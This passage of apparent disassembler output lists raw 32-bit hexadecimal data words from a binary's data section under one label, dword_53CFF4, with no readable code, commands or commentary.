dd 9DCC00FDh, 14A8AD7Ch, 0B71A931Eh, 0BA68E115h, 595C51C0h dd 30C9188Eh, 9D16E576h, 989AE764h, 0E35B8209h, 4D38A4FBh dd 7188CE2h, 712A4197h, 0F72C0477h, 3300F774h, 6DB6AC12h dd 0FEF10586h, 27D6D83Ah, 8D4DE048h, 12875C1Bh, 12C0147Eh dd 0BD257904h, 81A0F217h, 0CB93923Eh, 2C09EEE4h, 17CC0DDEh dd 23083AEFh, 2FF10015h, 4E31537Eh, 0FB9F0604h, 893ABE8h dd 2092E079h, 330F0046h, 214D738Ch, 0C815E37Bh, 0A838626Bh dd 4EF93F5Dh, 94FE4B80h, 27018135h, 0B88C489Ch, 49F1C3h dd 0CAD6655h, 0D5DE1FF5h, 25ACD700h, 0D6212A4h, 8AD41EBFh dd 5F7FCB66h, 7312040h dd 7CEC6CFDh, 72A87C02h, 89638018h, 0C6AC038Fh, 434BE92Eh dd 0E97CC047h, 0CA9F7BEh, 177E0B9Ch, 0FEEEB498h, 0C600A0B4h dd 28514B0Eh, 696D603Fh, 0BCA23053h, 0A3099900h, 0EEBABF54h dd 0EF5D00F6h, 0DADB758Ch, 11006E1Ah, 0E3D329C4h, 1FEAE131h dd 40EFBA6Ch, 1B08830Dh, 0A600373Eh, 84E6095Fh, 787E40D3h dd 0B0E53AA7h, 0FD595E80h, 3ED64C67h, 0E3B5A300h, 87D2E149h dd 0CA030077h, 15FFFA02h, 0EE004C12h, 0EF85AD90h, 409B6Ah dd 8DB591A2h, 87D6BCE4h, 48F6B25h, 0AD0268FCh, 9C523166h dd 7946DB00h, 0E87BA32Dh, 0E7153B0Ah, 4332F181h, 0C9CB0D8Ch dd 2962F9B7h, 167ACC8h, 2DFE2FD0h, 0DC9336E0h, 96602B84h dd 0F1608F90h, 77731E9Ch, 7C1027DAh, 8600C2EDh, 0CD5208BEh dd 92A181h, 231AD25Bh, 4B638DACh, 7C416CAAh, 8641884h dd 3427D013h, 7340C2C4h, 8EDF134Fh, 382E98B6h, 0CBD51740h dd 0E2579FAh, 9F07BDAAh, 0FAB5560h, 0C5E22751h, 5180258h dd 0E0FF6BBAh, 7DC048DBh, 0CF330D59h, 4A557888h, 0E868827Bh dd 57725480h, 990093FCh, 0DFC63A59h, 0D47D67h, 0B996E6C0h dd 94564B0Bh, 0B8AFC903h, 0DF2FFD70h, 467488DAh, 351407B8h dd 0BF637245h, 8F8CD83Ah, 401C92A4h, 9E98AE93h, 0CE6C1500h dd 0FC643216h, 1FB50054h, 0E8F3B861h, 6726F65Dh, 4674844Bh dd 979F008Fh, 24AFD0A5h, 0B4A750D5h, 87943AE2h, 30B1849h dd 2C450B39h, 5160B6E4h, 9A12E5EAh, 38970747h, 8D71406Fh dd 0B989C7D6h, 3EBD0BA0h, 3CB1F8B0h, 9001A930h, 5BBD96E0h dd 0E2DC283Dh, 0E6CD101Fh, 0AA85E582h, 8B6960FAh, 0C6520297h dd 44231F84h, 0CE427871h, 76F854AFh, 56001946h, 0DED88D22h dd 500D3EF8h, 61BFE382h, 6E5F60h, 0D8B86B58h, 0FEDFBDD3h dd 0E7CDB90Eh, 921C0321h, 0C229C9E8h, 137FE03Dh, 305076D2h dd 0BCA3FE10h, 453D7F01h, 0E160841h, 12652CCCh, 209CACCh dd 80B6697Fh, 10709C73h, 0D33A00DEh, 49988BADh, 90B88EF4h dd 91738F12h, 76F84070h, 0DBF00B4h, 219CF3DCh, 74019E15h dd 36982FFAh, 2C705B4Ah, 6C4027EEh, 80F4E82Ah, 19438452h dd 6025CBA3h, 45448348h, 96E97206h, 9029E24Ch, 0A0CBB822h dd 216A58F8h, 28AF0EB7h, 76215E10h, 0C4C06B11h, 789E19BDh dd 0BCD33097h, 0F0638B24h, 256BF78Fh, 281780B3h, 7980C391h dd 8F651BF3h, 4A14E24Ch, 84822035h, 4DB530D7h, 0A41B8C12h dd 7F01248Bh, 0BC104DBEh, 0FBB187C1h, 0C4837E42h, 7A25A8D7h dd 99B83990h, 0BF6B4105h, 1B70C046h, 95237Dh, 0AB43887Ch dd 4A6098F7h, 0AE3890C2h, 0C30F9532h, 0B2E72F4Ah, 3081DC52h dd 0C323BBAh, 8033A4F2h, 7303820Fh, 13CE0075h, 9751842Ch dd 0E4809FA3h, 0C0B54A3Fh, 3346D784h, 8C755728h, 0FEA42195h dd 0E878374Dh, 0F44FF06Bh, 3193B640h, 7805387Dh, 8E14D16h dd 0A1CF538Ch, 8283BAFDh, 0CB00244Ah, 33B7FD80h, 0E20C4344h dd 0D082EE47h, 847858BFh, 8642313h, 0F08557C0h, 0B80ED798h dd 1A2CD0C7h, 48BD1018h, 8C1CE81Ch, 84536C26h, 90327B60h dd 89AC0816h, 0FF80A7E3h, 5004BCC9h, 518B0088h, 0D02359Fh dd 117DBE17h, 0FE633316h, 0E06884C9h, 8CC3ACh, 68BB8F6h dd 97DF30B7h, 7C054373h, 0D0E5625Fh, 58B22484h, 2630ABE2h dd 0DAE21492h, 83058D3Dh, 0B3CE2343h, 0AFF0C438h, 89E8B8BDh dd 0A243BB3Fh, 3F5410C6h, 7EC102A6h, 7271C752h, 0A011C968h dd 15BD8468h, 0F1D22C9Eh, 18AA59ECh, 7D2101C1h, 60BDE22Eh dd 0CE4830F7h, 4C8F5088h, 434BA84Bh, 14DFA918h, 0D478ADEAh dd 0A9DEE376h, 63426CC0h, 1FDE7BDAh, 0CFEA4DAFh, 0DA08992h dd 3507F9A8h, 44CE844Ah, 0A9C1C4C8h, 7DF5D3h, 28CD7EC8h dd 91CC8802h, 9711FA24h, 0DC77D4C0h, 7034B000h, 18A5E92Ah dd 5838E51Dh, 0BBFEEE09h, 50B17090h, 0F05A5809h, 955E0034h dd 70D628h, 3AE3D14Dh, 0C737E8FEh, 0A45980A2h, 8E18B779h dd 6A073975h, 54918D82h, 44F47A09h, 760071A9h, 40A0DB31h dd 7A9E5C3Fh, 337F00DEh, 0A5F0216Bh, 94E5096h, 26C3C422h dd 800C94C8h, 21033060h, 14B5002Bh, 0E878C625h, 0EB01AB81h dd 0D480166Ah, 0B0388A51h, 953AB80Bh, 0DF010C82h, 349454C2h dd 91981597h, 0A511898Dh, 0CC0018F4h, 74215C5Ah, 2CF49801h dd 8450437Dh, 0B86FAD6Dh, 0AA8685D8h, 9114B0C8h, 937F844Ch dd 4AF0196h, 182BFF12h, 49C8A0E8h, 963F8712h, 0B4C8F48Eh dd 8BC8F9C0h, 276D1125h, 38C1249Fh, 0D48F8311h, 645167A2h dd 94590454h, 72803ABEh, 280DE33Eh, 1A0960D1h, 203B2F51h dd 55178FACh, 0D878E570h, 88248B4Bh, 0BF21C012h, 0D10BE179h dd 826C8F0Eh, 3A1CB84h, 88A06027h, 0ED4E3F33h, 0BF8C481h dd 5B84E800h, 0C7289060h, 0A802613Ch, 0B10655A4h, 59640984h dd 0D609B483h, 0BE485A90h, 42C0BC02h, 80CA081Dh, 0A8A2F1DCh dd 0C387254Ah, 80E4B085h, 0D3338214h, 747C0E95h, 0FAD0AECh dd 0B79ED81Dh, 780B6302h, 205CF8EFh, 0C1484D2Fh, 0C06539F4h dd 43F11387h, 42A4A0FFh, 8F05140Bh, 0BC60973Ah, 0B90138C6h dd 1B26A5B9h, 0BF31D960h, 595F1180h, 0B1C6CBF9h, 51FC9097h dd 4CB20088h, 0FA68150Eh, 60B1E783h, 0E819FDD1h, 74BBE5Ch dd 0EEAA10D0h, 51EC01E7h, 645571C2h, 77483C0Ch, 14D96180h dd 0ACA6A794h, 13158400h, 0C2072B6Ch, 84180A26h, 0A988091h dd 0DC48516Ah, 0DA91E04Ch, 0FB2D00F1h, 0BB31906Ch, 142FC7D0h dd 1FB08061h, 0DC6F5Dh, 862E6BADh, 5932FED8h, 306100E9h dd 81D89EFFh, 0F0297719h, 1843D449h, 0F26C0400h, 205FC6BDh dd 65850FABh, 0BE808BAEh, 0BB526B71h, 7AA9C960h, 0E02F1B42h dd 0DF7C047Bh, 0EDF2E430h, 0F9EF088Ch, 1B7029Fh, 8CC1B055h dd 6BD10B1h, 0C96C3F0Fh, 0C414C826h, 34D0203Fh, 48914087h dd 0F060DC94h, 90E90763h, 91D0FC28h, 0EEFDF9F0h, 241CFF18h dd 402007DCh, 0E902DFE6h, 4951CE07h, 68CD9733h, 781D9C62h dd 8138AC1Dh, 875E2B84h, 9C6F3FF2h, 51298100h, 0DA762337h dd 0E3AD0901h, 5F2BBBE0h, 0B81A9824h, 4CAA1800h, 0D4D7B930h dd 0B3B72F09h, 4AB00133h, 0A183568Dh, 92213F27h, 874C1809h dd 86FC2FA0h, 0A41203Dh, 0FDEEBDBCh, 93BC21C8h, 83D06116h dd 23B43DC0h, 136A0182h, 0E6427D6h, 134D7100h, 0E50F27F3h dd 9E49h, 0AEE929D0h, 0D641E85h, 52C874Dh, 0BC807898h dd 9D008CB7h, 0B9D38F70h, 4848C8EBh, 400CACD0h, 0BA29BEE4h dd 72DA5900h, 617343D3h, 7DE20F60h, 0BBE04077h, 0C7508F5Ch dd 1856844Fh, 880650D8h, 37ECA490h, 0F23E9C00h, 0BCB84A25h dd 48D878B9h, 8B803CBBh, 0FABFFF3Ah, 9331860Fh, 89E38FB3h dd 0D0AC53D7h, 2A28157Bh, 0F552E53Ch, 330809FCh, 898F1C3h dd 841FC8B3h, 0F01BE407h, 0C4F63BC4h, 0B1E67DB0h, 2538F359h dd 11709763h, 0A7F88719h, 0D1067AC0h, 17BAF47Fh, 2518BDD9h dd 85448708h, 0C678E440h, 0E4A47E27h, 152E20A4h, 0CA08BF8h dd 922004C7h, 880D09A1h, 4C05BE93h, 0F2F4CC7Dh, 0E46F6A00h dd 0E7FBB698h, 80780762h, 0E0F352F5h, 6E689BB3h, 0CEA0533Ch dd 0B91CC8h, 8AFADAC2h, 0A37B0F88h, 7EB4F800h, 14AC1FBEh dd 5E02008Bh, 0ADE4434Bh, 27749F88h, 198AA8C4h, 0F537D607h dd 5E64C8A0h, 0BC421141h, 9858F0FBh, 9F6532CCh, 90764031h dd 67F500DCh, 16410F02h dd 78543153h, 7C92D1BCh, 0E76300A0h, 0C71564BEh, 9489CACh dd 0D44A02AEh, 0A8E395D2h, 437B40CCh, 5B59892Dh, 1F0481C7h dd 300505D0h, 10B9CE97h, 0D07318D8h, 0CAAF2184h, 1FCDB708h dd 0CE5F0847h, 880EC105h, 3C4164ADh, 403C1060h, 60995036h dd 186D7B80h, 267C164Eh, 97B46B65h, 785C33F9h, 0B9E7E1h dd 0BBBF3D6Dh, 5CE826F0h, 621DFE46h, 0C0A7985Bh, 8A80DD23h dd 0A9BC2DF2h, 0FC11F497h, 84059680h, 0B31C88C3h, 728BF219h dd 0E38C46Bh, 49148CDCh, 7BE3F780h, 6F7057A8h, 0FC7F3500h dd 5DC02A59h, 1B610074h, 0A3B196EDh, 7A5CE58Bh, 6705958h dd 2144B655h, 0C0D70279h, 4E50CC7h, 0E2F854F0h, 3CD38809h dd 318588Bh, 4E595E76h, 30A05B4Dh, 532C5A20h, 0E908D4A4h dd 0E058000Fh, 0C03D069Fh, 0FF47CCBCh, 883F3640h, 71730708h dd 0E0A27942h, 7AA4C1Bh, 2230441Fh, 1BADA02h, 4ECC723Ch dd 6A0043B8h, 0FDD89A23h, 69001A6Ch, 5E01A878h, 27D9EA9h dd 0A784AEC2h, 186088E8h, 4A88CE40h, 0DB5E97h, 0D4118C04h dd 0B27229FEh, 0EF90863h, 4C4BA9B4h, 13D18370h, 0B0A34388h dd 91005834h, 9E0684C3h, 2CB2FB2h, 0C1AD970Ch, 185A8CC7h dd 3E1A8598h, 4B11C9E4h, 0A8B6C018h, 5994075Ah, 50F71DE6h dd 3F374B5Dh, 5C08755Fh, 1CD8265Bh, 597D4014h, 6EC34956h dd 0AFD24A00h, 47546055h, 0F42C3911h, 8C180076h, 44645C05h dd 173A4B43h, 0CAED0C81h, 46211045h, 9A030396h, 6442805h dd 7810231h, 0D0A4157h, 463E52Ah, 5753B4C1h, 0C20A1080h dd 0F716AE68h, 77F02EECh, 324A600Ch, 3F45315Ch, 0DA00D802h dd 0C22EF6D4h, 48E8F71Ch, 0FA9821C0h, 0C097DD7h, 5B3D5E7Fh dd 0C8009D19h, 9EC97AB3h, 147D58D5h, 44D21395h, 60866864h dd 2306D7F6h, 4B11F4DAh, 0D80E9C00h, 3313CAC5h, 4EFD0A18h dd 33AD1h, 0CC74021Ah, 0EAB41F21h, 0C5066F00h, 1D13BF44h dd 0C0F7912h, 59322E03h, 0CC3B5251h, 47BA01EEh, 0FA3D6501h dd 60F95AC0h, 17585953h, 490233C4h, 15C04879h, 579380C2h dd 7A89BC88h, 4F970A01h, 86AC3DCAh, 61535642h, 494AFA30h dd 1C57996h, 0DB6C58B7h, 0F05E78A7h, 1163688Ch, 70BED39h dd 210595EEh, 206DE35Fh, 802B09A1h, 1C1F5620h, 0F4C78877h dd 0A65238FFh, 32B296h, 63787002h, 1750DC4Fh, 1D01EF44h dd 5531CE01h, 16E04403h, 7B1100A3h, 0DB2E136Fh, 0A1C061DCh dd 1DF53BD7h, 525F7848h, 0F014C88h, 0A596031Ch, 0CFEF0C20h dd 1CC35A21h, 67C9DFFBh, 8487FC41h, 46CFEA1Eh, 589601C2h dd 85FCA779h, 8F378DC3h, 52564341h, 8048FD11h, 2C3D3189h dd 0D1D8CFh, 2DF64E97h, 148701B8h, 58D6DF28h, 26916C01h dd 0F6905225h, 0CBC2824h, 2EBB0CE4h, 8225CA11h, 173749Fh dd 80B1113Ch, 80C6D13Fh, 9F8D7521h, 3A581D69h, 0BA8EB93Eh dd 0A8270BA6h, 783AE0D0h, 0C7385524h, 0D8B6185Eh, 12252F39h dd 3707042Eh, 1AF52040h, 1400FAC4h, 0B56A48B2h, 1321D1h dd 0A9FED2DCh, 0F7DE5BCCh, 0A5612D00h, 5830EA15h, 63120CE9h dd 43495FFCh, 88EF2E0Eh, 41CE81C9h, 89956E0h, 0F91E2138h dd 0BDFBD8EFh, 53503E90h, 8B0AD390h, 0A8543D81h, 0E0CE4680h dd 0F05D92h, 39FCFFCAh, 69620AC5h, 0C8356630h, 0C0583D2Dh dd 0E450D831h, 0E009BB4h, 45E1A9F4h, 0E025E78Bh, 0D5265098h dd 800C5490h, 39316739h, 99210107h, 0CF67CC35h, 0F2E5800h dd 786D237Eh, 369F0B94h, 2785EB98h, 4B37825Bh, 40443047h dd 39372466h, 5BF0792Fh, 73DFB8h, 86846891h, 0D4034479h dd 5319FC01h, 30B5C5C4h, 0DC05B184h, 0DD2080D7h, 0DB8012F4h dd 92F012C0h, 84C1294h, 0F8C07C44h, 21DA0CD7h, 4691F704h dd 0D8108200h, 4FE1962Bh, 5D7B5300h, 69B274D0h, 78296CD6h dd 28C6FE8h, 95F61C0Ch, 0B18211Dh, 0D840822Bh, 0D00E931Bh dd 0D1C84FAAh, 41B5420Ch, 0DF12ED79h, 0F4087B0Fh, 60298784h dd 2823F9A5h, 19074768h, 0D764E251h, 0B6CEE06Fh, 0F2935Dh dd 9A45364Fh, 793D8A8Dh, 88C4604Ch, 0D7FBC07Dh, 1C21DA01h dd 132560F7h, 0CC0645D8h, 58573D77h, 0DD501419h, 0B3115C18h dd 0FAC040E4h, 82165F80h, 4FE74840h, 0B1540174h, 0E904C570h dd 1555A610h, 0C988E88Eh, 0E6B3A6C0h, 0C34B0F84h, 7EB295D6h dd 90A6023Ch, 0C4264DAh, 0DC60BBB8h, 30A8C0D9h, 358B0BDh dd 82A54A78h, 41481568h, 1E10102h, 0F8322439h, 9D8D420h dd 40D52B88h, 6065FC04h, 2382EF48h, 3A115EC9h, 0EF001C3Fh dd 0F22D8932h, 0E20AC685h, 4C5EDBDAh, 0E9152E01h, 0DDF0CD46h dd 0C804B293h, 2FC06468h, 46C987EFh, 392286h, 81EF8521h dd 0A18C7B8Bh, 60090E7Ch, 3D140ADh, 99BED730h, 9C229CA9h dd 0F4008023h, 0E4DA10D7h, 494486F6h, 0D80C009Eh, 76781D73h dd 0FDE04596h, 38852638h, 3CF08B8Eh, 0C7198049h, 60FA1507h dd 0BE299950h, 0DC00649Ch, 0E24291ABh, 0E8884CDh, 3C7B40AAh dd 1088C50Ah, 0D5B6854Fh, 0DE28D44Fh, 1140D19Fh, 0E196FEDh dd 15450AFCh, 40F86895h, 49D8B717h, 0C900C479h, 186589FDh dd 4C1B56h, 4E9F4650h, 0BBC7D707h, 4C0DE424h, 32F483C7h dd 4C6202C5h, 8B1820CDh, 7972A19Fh, 784883Dh, 75B539C7h dd 436863h, 87F68381h, 0CA9D224Fh, 249EB700h, 0DAC48621h dd 0D96060D2h, 5BB343F5h, 0C77BC183h, 34506D30h, 8249EEDFh dd 552031ECh, 9C0820h, 24351D5Dh, 0BC8EFDCEh, 463B6A76h dd 45EE0409h, 0C480E908h, 3D3F9931h, 0C6801113h, 548714E7h dd 409BB33Dh, 0FCCDD40Ah, 0F5804B11h, 0ECDA0FD7h, 9BC7DCB9h dd 0D6FCD830h, 0DB3202F2h, 0D7DF6E9Fh, 5515D0A0h, 2400165Ah dd 83301E8h, 4071C2h, 2F25EB97h, 68731CB5h, 5211E38h, 54CE5D39h dd 3072A0C2h, 0F9131C01h, 0B0381595h, 1B65004Ch, 0ED5EF7D9h dd 0DA0C02A1h, 411AC44Fh, 3EAA3142h, 860185B1h, 0DBB45E69h dd 4CEF00A9h, 0B2C2D4E3h, 8373E71Eh, 29108405h, 2C9458FAh dd 212494C2h, 747D2DFh, 340268C5h, 0F67B3121h, 0DDD30FDCh dd 5084EDC9h, 52B49825h, 94408C4Ah, 92F9880Ah, 15F1F38h dd 0D5DEC19Ah, 6354D229h, 0AC2D2814h, 8CBEDA0Bh, 92A8461h dd 80210C84h, 518023B4h, 60E3E25h, 3B006667h, 54E611C0h dd 3EC1A1Ch, 79D64F8Ch, 59004269h, 7CCDD738h, 9E4987h dd 1B985A2Bh, 6217E003h, 0B891C909h, 22D880A5h, 0C544DC50h dd 41E0B439h, 7501439Ch, 71460C2h, 5BC04200h, 5EECBC98h dd 74DF506Dh, 10AB0143h, 0F0C3C80Fh, 92182CBFh, 47C8148Bh dd 61ED4EC0h, 43C0380h, 563D2C69h, 8C532100h, 82EAC0C6h dd 0CCD603BEh, 366EFB40h, 0F041D882h, 2C301913h, 0EC5D4844h dd 6AB03C4Ch, 0C4E89E94h, 2BA1C807h, 4402EE22h, 24804459h dd 800452FAh, 4AF0193Bh, 0EE0AC1CBh, 0F1C59551h, 0AED06F03h dd 42D7FAA5h, 80FC6900h, 6C64FA12h, 0FB2B5007h, 0CB3318DCh dd 7520C7CDh, 2F044ADh, 6C2CA18Eh, 2C46174Eh, 42355209h dd 0CFEC4D63h, 0F2F41BE0h, 0AC1AB33Bh, 60892BF9h, 86FD212Ch dd 86EF4404h, 34627EC9h, 0EFC02027h, 1A77485h, 71BF36ABh dd 0FCFF59F0h, 40601629h, 0EA3E6329h, 989B01D1h, 0E9C658B9h dd 0D53025C0h, 0BB88505Dh, 110EF4EDh, 81BED66Eh, 0BD89C635h dd 8C6B2980h, 0D8C8922Ch, 0E4398F01h, 56FF5E41h, 588CD4D3h dd 74C6F83Bh dword_53CFF4 dd 11E1212h, 143832C0h, 31607C60h, 0C044FA88h, 2F6F75A1h dd 0CF0037AFh, 0D69794BEh, 1DC69960h, 0A0DC3CD2h, 85118C00h dd 2EC78808h, 0FD4900CEh, 0F995668Dh, 7C61B543h, 581A5029h dd 7C7B5BF0h, 1323023Ah, 0FBDDDB52h, 2FC62868h, 0F75BA20Eh dd 0EFD8C7F6h, 3CD13340h, 3FD4E209h, 6B81F257h, 20A61634h dd 81BED143h, 19AE2908h, 88C55763h, 475C3080h, 45CE815Eh dd 2DDBDE0Fh, 0E99100D7h, 34F48D1h, 51686E2Fh, 4EABF374h dd 2D801001h, 0EA53DEE5h, 7C650D4h, 1F5B5816h, 28463F7h dd 9EA00DDBh, 2C052A14h, 0E004DFA3h, 16569C04h, 957CCCh dd 91E6A1F4h, 4476D8C2h, 64405896h, 0EDEAAFh, 711DBF5Bh dd 0A9F62F5Eh, 3567A41Ah, 1ACC640h, 1A445B78h, 209EC30Fh dd 1F9CC98h, 82145852h, 882F1844h, 0D43EBEB4h, 29A8D87h dd 742160E2h, 9C987EEBh, 3978300h, 0D1A6E1C5h, 0CCA5854h dd 6F4052C8h, 1D038DF7h, 0D218505Dh, 0A00C20FCh, 1600EB9Fh dd 30D25931h, 4C53BE4Ch, 2D22E455h, 899FB80Bh, 5090800Bh dd 0C0405D42h, 0D1A27B59h, 687FDB43h, 0DFD7C306h, 91C834B5h dd 21BF03E0h, 710098FAh, 0F426E2B9h, 7BF2F3EEh, 3FA3E6D7h dd 0AE1685AAh, 0D5440481h, 4AC044E4h, 51E0E04Eh, 3D50A1BDh dd 3B81D160h, 197385Bh, 67E2A0FEh, 0C85AB8FBh, 493BFD03h dd 1D0B0194h, 0BDB0F364h, 6396920h, 1AAEE376h, 660118F7h dd 0A9836A7h, 0B3F0AB46h, 0C68580F6h, 1C559601h, 170F182Dh dd 1A274ECh, 7671D329h, 8383C15Bh, 7B4BBC58h, 69E6BEh dd 48DB4AF6h, 9C74A3D2h, 0A2F13Ah, 1F3771EEh, 225C449Bh dd 0B100A8CBh, 574B3DC3h, 0B53095h, 3A3B7B7Ah, 0BDE5494Eh dd 98434700h, 1E9FB301h, 0F860C3F4h, 0B4E031FAh, 2601D951h dd 10703C49h, 7181CF11h, 0A1C7D57Eh, 0FC7CC174h, 0E30027FBh dd 72F85F99h, 0B36390h, 368F675h, 16BD2218h, 0B985F500h dd 0A07981AAh, 0B7BA043Dh, 0C05651DCh, 335ACFC1h, 3B68CE0Bh dd 613F806Ch, 0AAC626h, 0C38C76F1h, 0B58A4413h, 9E045303h dd 0E77E2BBCh, 2CA188Ch, 0B62C23F4h, 20B63212h, 9A650A10h dd 0B67B6D07h, 0F9BB4314h, 8D9F2DA0h, 8F849E38h, 806AFA6Fh dd 0C93C8709h, 0DA5D00EAh, 0F02882C6h, 1443B9DBh, 0BAF9819Bh dd 14200439h, 0F70B045h, 0D3CF415Ch, 0FCDE2480h, 8000BF57h dd 8444C8F9h, 15376BEh, 12F56D7Fh, 5617AA0Bh, 54540834h dd 1E23EE80h, 0A01F5A8Dh, 59B28138h, 48D39C1Fh, 0A350130h dd 19CD52D7h, 182B0AE8h, 2018FC04h, 0BD50BBC5h, 0F40C00FEh dd 0CADC9708h, 313B2B81h, 0D02A00D2h, 9D59FA1Fh, 2BD0CF6h dd 0F028F3FBh, 89D5F684h, 84E708E6h, 22C54422h, 8222D68Dh dd 9733258h, 14859879h, 0E2804B2h, 6204656h, 112C4229h dd 0AA11DFA7h, 4C81155h, 39C48010h, 32DC0054h, 6E1539B1h dd 17DB3F46h, 0BD0E6194h, 0C162F403h, 0A298A369h, 1000A048h dd 9F2A9B71h, 8FF54Ch, 0A65ABF6Bh, 213331B0h, 7F5C6C04h dd 3CC349D1h, 836E8DDh, 0E8E00067h, 15FD96C9h, 0AA00CB1Ah dd 7C3E201Ch, 0A4AE3Fh, 50B38902h, 65513181h, 0D065877h dd 2C03D19Eh, 3867009Ah, 0A75C5ADBh, 54002371h, 3CCB79BDh dd 2458556h, 4E984C7Ch, 49E35E46h, 0E08AE2E1h, 42005188h dd 97CA949Ch, 0EFDC04h, 490A2ED8h, 239FF380h, 0AD85E31Dh dd 8118900h, 184DE2CEh, 108662FCh, 797EC3F6h, 0D6C73A00h dd 7883C8ADh, 0A4773EECh, 0E4DF1683h, 19F8A920h, 80CA4FD4h dd 6700C111h, 0B2CC4842h, 27C300A2h, 0E22B9B9Ah, 6901C0F8h dd 0C143C5A6h, 0E0C0CB86h, 6FC2009Dh, 4E5D14A5h, 0FE00DBC0h dd 189C1E53h, 1C1BE89Fh, 40CFDF64h, 0F5D3E5FBh, 0AB7D73BBh dd 8145B0Eh, 0E906608Dh, 7A1B03AAh, 3F720245h, 5D935A6Ah dd 4788DDE0h, 13BD6E0Ch, 24256049h, 78913Ah, 0F38945Ch dd 4600332Fh, 0B39C669Ah, 125D28Eh, 0BAF28524h, 9FCEEB62h dd 0F6C0B010h, 0BBB42B49h, 56CD19DBh, 50D4488Ah, 0D1456154h dd 710054E6h, 5D5FFB0Eh, 8E8B3Bh, 68E71483h, 1D90F54Fh dd 4AA2D200h, 0A1B17AF4h, 8CB00058h, 0ADA8AC75h, 5A0004BCh dd 1B602C4Fh, 1E79C73Ch, 0C0339311h, 0FC180695h, 0B900F4B1h dd 6AAEA840h, 73D53A5Eh, 0EE75386Dh, 0F4B20A85h, 66FE004Ch dd 539E455Dh, 0F93E507h, 86907E7Ah, 90FD91h, 0D6CF602Dh dd 0AD266D3Fh, 8755F70Ch, 5B4419h, 0CB85F6EDh, 68C5EF60h dd 6DA82A00h, 4187AA80h, 0DF820079h, 0ABF10C21h, 0BC072760h dd 6BF0B29Ch, 1C902090h, 0BF771EC7h, 0AE10B381h, 3C296880h dd 0A8BA1801h, 62A016D8h, 0DCEFD8h, 0D6252C31h, 0AD75EA86h dd 3D7F1500h, 2BA1680Ch, 9A7D04CEh, 8002D98Bh, 2F375D10h dd 5E441F00h, 0F18AB606h, 510E0090h, 3F325794h, 0B907F242h dd 0E2FBD3F9h, 0AA9901D0h, 4D5D0777h, 0E08F6327h, 60EB290Ch dd 3800217Dh, 675602FBh, 0B617E3h, 9F8BCFA7h, 0CA78821Ah dd 0FD00277Fh, 44AE3E62h, 76040A83h, 948F13AAh, 4241B043h dd 487FA300h, 35C10F9Bh, 8170E3Ch, 9D802DE0h, 771BFE67h dd 7A960E00h, 55F94C90h, 30787D81h, 7111B3ADh, 3801E880h dd 107B5150h, 3160287Dh, 845800C5h, 0FEA5E0ACh, 6F02A93Fh dd 9FE995E6h, 0CE934083h, 0AF3A00FAh, 0C5A2FECDh, 0E00FF23h dd 858CCAD7h, 4DC126F1h, 3D00F8CBh, 0A2CF1BE5h, 6303242Ah dd 0F1FFD50Ch, 0D7C000A0h, 0C15FE044h, 19E288B6h, 11F8ECF1h dd 90F0C700h, 9FD99825h, 2B3F0089h, 5C02675Dh, 0DC1E7655h dd 8583FD35h, 0D8154A7Eh, 4D7CACh, 60E52D45h, 4213DC1Fh dd 203A8490h, 31438072h, 242D1BC5h, 8F78E6h, 54941041h dd 0D644789Ch, 80B66A3Dh, 0FC98A84h, 93D8C0Dh, 20C43285h dd 253FA200h, 903F95B9h, 0F0FA0052h, 7FED76DAh, 45CE022Ah dd 1DA2B0A5h, 0F8991C41h, 1E004077h, 0A1D91262h, 2CCE4h dd 47E9D82Dh, 5DEE76FBh, 165B7F12h, 0AF468407h, 0E9A8D450h dd 1ABE1D80h, 0F7244503h, 6A16C19Ch, 0CB1C20FDh, 0B549F0B0h dd 4B60001Ch, 491DF08Ah, 0F8EC0AAh, 3BFA1986h, 4669E0Eh dd 0FFCFC021h, 0A3CEB9B6h, 8AF8D888h, 0A9C406D6h, 19B3BCFCh dd 6512C000h, 0B187ED05h, 0FBE50398h, 67F8377Ch, 0F0016F99h dd 6B00FDAAh, 12E75053h, 98D1321Bh, 1196079Ch, 10AF904Ch dd 1BD1A2Eh, 8AB9CC00h, 0D1170E75h, 504509D4h, 0E480B4DAh dd 0A5F8D967h, 79063600h, 0E03A5D44h, 545A00EFh, 2C094C78h dd 6B507DBBh, 4A0056C7h, 7BB21766h, 558ED5Eh, 4D7F63E0h dd 675FC008h, 0E2005BF3h, 681069FFh, 0A60945Ah, 8BA33B2h dd 38100C8h, 0AAE17B30h, 8ED06A0Ah, 0F400BE4Bh, 0E27E2120h dd 946600BEh, 0F9AF1747h, 87039DB2h, 181755Fh, 0DBD3B048h dd 0FAD1403h, 2D148B55h, 0E7AC8FCh, 0B1DD1A40h, 8D20F02Fh dd 0E4ADB7D0h, 0D7198900h, 0A598BDE9h, 1EB06Dh, 0EE66EB58h dd 0D9D3D09Fh, 77876F1Ch, 0E678E382h, 0C338C0FCh, 309B00Dh dd 0A670BAF4h, 20C83992h, 5100479Dh, 0DD5F09F6h, 1DF4BC99h dd 0C0584315h, 1E7ABE59h, 0B6E864EAh, 44C04103h, 0B08FEB9Ch dd 4E91F3h, 6DC7189Dh, 0ADED3614h, 135AE207h, 0FF2094E4h dd 368523Ch, 9178DCDBh, 1BE8C963h, 36043BF5h, 3C7970A8h dd 3950B287h, 0E7204Ch, 60C2E2CDh, 8DB59AC9h, 826E161Eh dd 55F6B680h, 0FEAAD8h dd 960A7C9Bh, 76E4438Bh, 0E59D5400h, 447BA742h, 0BC88001Fh dd 27ABE174h, 8600C98Dh, 1231D926h, 0E4E2A051h, 0D2FAFBh dd 388992CCh, 182841ECh, 0A18EF51Bh, 70A6E05Ah, 0D1A40026h dd 0C922EAFAh, 0ED009721h, 5520B4ABh, 0D0BBC1Fh, 0C31014E3h dd 0E58530B1h, 0C509BE00h, 6295381Ah, 0FA8602E8h, 47509B08h dd 6718DCC4h, 28188C61h, 4B202E34h, 0A0C900D0h, 0AB6DBE6Ah dd 7DF2B700h, 0CDA8BFDAh, 2ECE0055h, 28A78EDEh, 9714FF5h dd 3829CC00h, 8FAF119Dh, 17D75EAh, 60D62EC9h, 20D93E30h dd 545C8BE5h, 0C0772E1Ch, 0F57ED180h, 0E278E8F1h, 0AE83001Fh dd 7C942F03h, 71730CA1h, 0C1A38712h, 5860B100h, 0D62CFCh dd 3D9F802Eh, 501929C6h, 614A4102h, 40A9D17Fh, 7E5A450h dd 1AB66C7h, 0C818C95Dh, 90061054h, 0E7704A0Ch, 469A3FF9h dd 0D22DB407h, 0C74545FFh, 9D3A5064h, 6103862Ch, 24049998h dd 0AB2FA934h, 0D95A3980h, 0DBD8440h, 586D2900h, 0F1EFAC8Bh dd 20160044h, 47D76834h, 